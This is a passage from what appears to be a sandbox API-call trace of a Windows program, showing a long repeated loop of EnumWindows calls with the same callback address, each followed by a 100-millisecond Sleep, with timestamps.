EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.460] Sleep (dwMilliseconds=0x64) [0145.462] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.462] Sleep (dwMilliseconds=0x64) [0145.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.464] Sleep (dwMilliseconds=0x64) [0145.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.467] Sleep (dwMilliseconds=0x64) [0145.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.469] Sleep (dwMilliseconds=0x64) [0145.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.471] Sleep (dwMilliseconds=0x64) [0145.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.473] Sleep (dwMilliseconds=0x64) [0145.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.475] Sleep (dwMilliseconds=0x64) [0145.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.477] Sleep (dwMilliseconds=0x64) [0145.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.479] Sleep (dwMilliseconds=0x64) [0145.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.481] Sleep (dwMilliseconds=0x64) [0145.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.483] Sleep (dwMilliseconds=0x64) [0145.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.485] Sleep (dwMilliseconds=0x64) [0145.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.486] Sleep (dwMilliseconds=0x64) [0145.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.488] Sleep (dwMilliseconds=0x64) [0145.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.490] Sleep (dwMilliseconds=0x64) [0145.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.491] Sleep (dwMilliseconds=0x64) [0145.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.493] Sleep (dwMilliseconds=0x64) [0145.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.494] Sleep (dwMilliseconds=0x64) [0145.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.496] Sleep (dwMilliseconds=0x64) [0145.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.498] Sleep (dwMilliseconds=0x64) [0145.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.499] Sleep (dwMilliseconds=0x64) [0145.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.502] Sleep (dwMilliseconds=0x64) [0145.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.506] Sleep (dwMilliseconds=0x64) [0145.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.507] Sleep (dwMilliseconds=0x64) [0145.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.524] Sleep (dwMilliseconds=0x64) [0145.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.525] Sleep (dwMilliseconds=0x64) [0145.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.527] Sleep (dwMilliseconds=0x64) [0145.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.529] Sleep (dwMilliseconds=0x64) [0145.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.530] Sleep (dwMilliseconds=0x64) [0145.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.532] Sleep (dwMilliseconds=0x64) [0145.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.533] Sleep (dwMilliseconds=0x64) [0145.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.535] Sleep (dwMilliseconds=0x64) [0145.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.536] Sleep (dwMilliseconds=0x64) [0145.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.538] Sleep (dwMilliseconds=0x64) [0145.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.540] Sleep (dwMilliseconds=0x64) [0145.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.541] Sleep (dwMilliseconds=0x64) [0145.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.543] Sleep (dwMilliseconds=0x64) [0145.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.544] Sleep (dwMilliseconds=0x64) [0145.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.547] Sleep (dwMilliseconds=0x64) [0145.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.549] Sleep (dwMilliseconds=0x64) [0145.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.550] Sleep (dwMilliseconds=0x64) [0145.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.552] Sleep (dwMilliseconds=0x64) [0145.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.553] Sleep (dwMilliseconds=0x64) [0145.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.555] Sleep (dwMilliseconds=0x64) [0145.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.556] Sleep (dwMilliseconds=0x64) [0145.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.558] Sleep (dwMilliseconds=0x64) [0145.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.561] Sleep (dwMilliseconds=0x64) [0145.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.562] Sleep (dwMilliseconds=0x64) [0145.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.565] Sleep (dwMilliseconds=0x64) [0145.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.566] Sleep (dwMilliseconds=0x64) [0145.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.568] Sleep (dwMilliseconds=0x64) [0145.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.569] Sleep (dwMilliseconds=0x64) [0145.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.571] Sleep (dwMilliseconds=0x64) [0145.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.572] Sleep (dwMilliseconds=0x64) [0145.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.574] Sleep (dwMilliseconds=0x64) [0145.575] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.575] Sleep (dwMilliseconds=0x64) [0145.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.577] Sleep (dwMilliseconds=0x64) [0145.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.579] Sleep (dwMilliseconds=0x64) [0145.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.580] Sleep (dwMilliseconds=0x64) [0145.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.582] Sleep (dwMilliseconds=0x64) [0145.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.584] Sleep (dwMilliseconds=0x64) [0145.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.586] Sleep (dwMilliseconds=0x64) [0145.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.590] Sleep (dwMilliseconds=0x64) [0145.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.591] Sleep (dwMilliseconds=0x64) [0145.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.593] Sleep (dwMilliseconds=0x64) [0145.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.594] Sleep (dwMilliseconds=0x64) [0145.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.596] Sleep (dwMilliseconds=0x64) [0145.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.597] Sleep (dwMilliseconds=0x64) [0145.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.599] Sleep (dwMilliseconds=0x64) [0145.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.600] Sleep (dwMilliseconds=0x64) [0145.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.602] Sleep (dwMilliseconds=0x64) [0145.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.604] Sleep (dwMilliseconds=0x64) [0145.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.605] Sleep (dwMilliseconds=0x64) [0145.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.607] Sleep (dwMilliseconds=0x64) [0145.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.609] Sleep (dwMilliseconds=0x64) [0145.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.611] Sleep (dwMilliseconds=0x64) [0145.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.612] Sleep (dwMilliseconds=0x64) [0145.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.614] Sleep (dwMilliseconds=0x64) [0145.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.615] Sleep (dwMilliseconds=0x64) [0145.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.617] Sleep (dwMilliseconds=0x64) [0145.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.619] Sleep (dwMilliseconds=0x64) [0145.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.620] Sleep (dwMilliseconds=0x64) [0145.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.623] Sleep (dwMilliseconds=0x64) [0145.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.624] Sleep (dwMilliseconds=0x64) [0145.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.626] Sleep (dwMilliseconds=0x64) [0145.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.627] Sleep (dwMilliseconds=0x64) [0145.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.629] Sleep (dwMilliseconds=0x64) [0145.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.632] Sleep (dwMilliseconds=0x64) [0145.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.634] Sleep (dwMilliseconds=0x64) [0145.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.636] Sleep (dwMilliseconds=0x64) [0145.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.637] Sleep (dwMilliseconds=0x64) [0145.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.639] Sleep (dwMilliseconds=0x64) [0145.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.640] Sleep (dwMilliseconds=0x64) [0145.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.642] Sleep (dwMilliseconds=0x64) [0145.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.644] Sleep (dwMilliseconds=0x64) [0145.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.731] Sleep (dwMilliseconds=0x64) [0145.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.769] Sleep (dwMilliseconds=0x64) [0145.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.843] Sleep (dwMilliseconds=0x64) [0145.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.853] Sleep (dwMilliseconds=0x64) [0145.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.855] Sleep (dwMilliseconds=0x64) [0145.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.856] Sleep (dwMilliseconds=0x64) [0145.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.858] Sleep (dwMilliseconds=0x64) [0145.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.860] Sleep (dwMilliseconds=0x64) [0145.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.862] Sleep (dwMilliseconds=0x64) [0145.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.864] Sleep (dwMilliseconds=0x64) [0145.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.866] Sleep (dwMilliseconds=0x64) [0145.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.867] Sleep (dwMilliseconds=0x64) [0145.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.870] Sleep (dwMilliseconds=0x64) [0145.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.871] Sleep (dwMilliseconds=0x64) [0145.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.874] Sleep (dwMilliseconds=0x64) [0145.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.876] Sleep (dwMilliseconds=0x64) [0145.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.878] Sleep (dwMilliseconds=0x64) [0145.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.880] Sleep (dwMilliseconds=0x64) [0145.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.881] Sleep (dwMilliseconds=0x64) [0145.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.883] Sleep (dwMilliseconds=0x64) [0145.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.885] Sleep (dwMilliseconds=0x64) [0145.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.887] Sleep (dwMilliseconds=0x64) [0145.889] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.889] Sleep (dwMilliseconds=0x64) [0145.891] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.891] Sleep (dwMilliseconds=0x64) [0145.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.892] Sleep (dwMilliseconds=0x64) [0145.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.894] Sleep (dwMilliseconds=0x64) [0145.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.895] Sleep (dwMilliseconds=0x64) [0145.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.897] Sleep (dwMilliseconds=0x64) [0145.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.898] Sleep (dwMilliseconds=0x64) [0145.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.900] Sleep (dwMilliseconds=0x64) [0145.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.901] Sleep (dwMilliseconds=0x64) [0145.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.903] Sleep (dwMilliseconds=0x64) [0145.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.905] Sleep (dwMilliseconds=0x64) [0145.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.906] Sleep (dwMilliseconds=0x64) [0145.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.908] Sleep (dwMilliseconds=0x64) [0145.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.909] Sleep (dwMilliseconds=0x64) [0145.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.911] Sleep (dwMilliseconds=0x64) [0145.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.912] Sleep (dwMilliseconds=0x64) [0145.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.914] Sleep (dwMilliseconds=0x64) [0145.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.915] Sleep (dwMilliseconds=0x64) [0145.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.919] Sleep (dwMilliseconds=0x64) [0145.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.920] Sleep (dwMilliseconds=0x64) [0145.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.922] Sleep (dwMilliseconds=0x64) [0145.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.923] Sleep (dwMilliseconds=0x64) [0145.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.925] Sleep (dwMilliseconds=0x64) [0145.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.926] Sleep (dwMilliseconds=0x64) [0145.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.928] Sleep (dwMilliseconds=0x64) [0145.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.929] Sleep (dwMilliseconds=0x64) [0145.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.931] Sleep (dwMilliseconds=0x64) [0145.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.932] Sleep (dwMilliseconds=0x64) [0145.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.934] Sleep (dwMilliseconds=0x64) [0145.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.935] Sleep (dwMilliseconds=0x64) [0145.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.937] Sleep (dwMilliseconds=0x64) [0145.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.939] Sleep (dwMilliseconds=0x64) [0145.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.940] Sleep (dwMilliseconds=0x64) [0145.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0145.942] Sleep (dwMilliseconds=0x64) [0146.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0146.002] Sleep (dwMilliseconds=0x64) [0146.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0146.004] Sleep (dwMilliseconds=0x64) [0146.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0146.006] Sleep (dwMilliseconds=0x64) [0146.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0146.007] Sleep (dwMilliseconds=0x64) [0146.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0146.009] Sleep (dwMilliseconds=0x64) [0146.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0146.011] Sleep (dwMilliseconds=0x64) [0146.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0146.013] Sleep (dwMilliseconds=0x64) [0146.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0146.920] Sleep (dwMilliseconds=0x64) [0147.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.018] Sleep (dwMilliseconds=0x64) [0147.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.020] Sleep (dwMilliseconds=0x64) [0147.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.021] Sleep (dwMilliseconds=0x64) [0147.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.023] Sleep (dwMilliseconds=0x64) [0147.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.024] Sleep (dwMilliseconds=0x64) [0147.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.026] Sleep (dwMilliseconds=0x64) [0147.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.028] Sleep (dwMilliseconds=0x64) [0147.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.029] Sleep (dwMilliseconds=0x64) [0147.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.031] Sleep (dwMilliseconds=0x64) [0147.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.032] Sleep (dwMilliseconds=0x64) [0147.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.034] Sleep (dwMilliseconds=0x64) [0147.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.035] Sleep (dwMilliseconds=0x64) [0147.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.037] Sleep (dwMilliseconds=0x64) [0147.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.039] Sleep (dwMilliseconds=0x64) [0147.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.040] Sleep (dwMilliseconds=0x64) [0147.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.043] Sleep (dwMilliseconds=0x64) [0147.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.045] Sleep (dwMilliseconds=0x64) [0147.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.046] Sleep (dwMilliseconds=0x64) [0147.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.050] Sleep (dwMilliseconds=0x64) [0147.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.052] Sleep (dwMilliseconds=0x64) [0147.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.054] Sleep (dwMilliseconds=0x64) [0147.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.055] Sleep (dwMilliseconds=0x64) [0147.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.759] Sleep (dwMilliseconds=0x64) [0147.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.776] Sleep (dwMilliseconds=0x64) [0147.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.777] Sleep (dwMilliseconds=0x64) [0147.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.779] Sleep (dwMilliseconds=0x64) [0147.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.781] Sleep (dwMilliseconds=0x64) [0147.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.782] Sleep (dwMilliseconds=0x64) [0147.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.784] Sleep (dwMilliseconds=0x64) [0147.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.785] Sleep (dwMilliseconds=0x64) [0147.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.787] Sleep (dwMilliseconds=0x64) [0147.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.788] Sleep (dwMilliseconds=0x64) [0147.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.797] Sleep (dwMilliseconds=0x64) [0147.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.799] Sleep (dwMilliseconds=0x64) [0147.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.801] Sleep (dwMilliseconds=0x64) [0147.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.803] Sleep (dwMilliseconds=0x64) [0147.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.805] Sleep (dwMilliseconds=0x64) [0147.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.806] Sleep (dwMilliseconds=0x64) [0147.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.807] Sleep (dwMilliseconds=0x64) [0147.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.809] Sleep (dwMilliseconds=0x64) [0147.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.810] Sleep (dwMilliseconds=0x64) [0147.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.812] Sleep (dwMilliseconds=0x64) [0147.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.813] Sleep (dwMilliseconds=0x64) [0147.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.815] Sleep (dwMilliseconds=0x64) [0147.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.816] Sleep (dwMilliseconds=0x64) [0147.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.818] Sleep (dwMilliseconds=0x64) [0147.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.819] Sleep (dwMilliseconds=0x64) [0147.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.821] Sleep (dwMilliseconds=0x64) [0147.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.823] Sleep (dwMilliseconds=0x64) [0147.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.824] Sleep (dwMilliseconds=0x64) [0147.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.826] Sleep (dwMilliseconds=0x64) [0147.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.827] Sleep (dwMilliseconds=0x64) [0147.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.830] Sleep (dwMilliseconds=0x64) [0147.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.832] Sleep (dwMilliseconds=0x64) [0147.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.833] Sleep (dwMilliseconds=0x64) [0147.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.835] Sleep (dwMilliseconds=0x64) [0147.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.838] Sleep (dwMilliseconds=0x64) [0147.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.839] Sleep (dwMilliseconds=0x64) [0147.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.841] Sleep (dwMilliseconds=0x64) [0147.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.843] Sleep (dwMilliseconds=0x64) [0147.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.844] Sleep (dwMilliseconds=0x64) [0147.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.847] Sleep (dwMilliseconds=0x64) [0147.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.850] Sleep (dwMilliseconds=0x64) [0147.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0147.852] Sleep (dwMilliseconds=0x64) [0148.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.223] Sleep (dwMilliseconds=0x64) [0148.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.310] Sleep (dwMilliseconds=0x64) [0148.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.332] Sleep (dwMilliseconds=0x64) [0148.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.333] Sleep (dwMilliseconds=0x64) [0148.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.335] Sleep (dwMilliseconds=0x64) [0148.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.337] Sleep (dwMilliseconds=0x64) [0148.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.339] Sleep (dwMilliseconds=0x64) [0148.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.340] Sleep (dwMilliseconds=0x64) [0148.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.342] Sleep (dwMilliseconds=0x64) [0148.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.343] Sleep (dwMilliseconds=0x64) [0148.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.345] Sleep (dwMilliseconds=0x64) [0148.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.346] Sleep (dwMilliseconds=0x64) [0148.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.348] Sleep (dwMilliseconds=0x64) [0148.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.349] Sleep (dwMilliseconds=0x64) [0148.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.351] Sleep (dwMilliseconds=0x64) [0148.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.353] Sleep (dwMilliseconds=0x64) [0148.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.355] Sleep (dwMilliseconds=0x64) [0148.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0148.356] Sleep (dwMilliseconds=0x64) 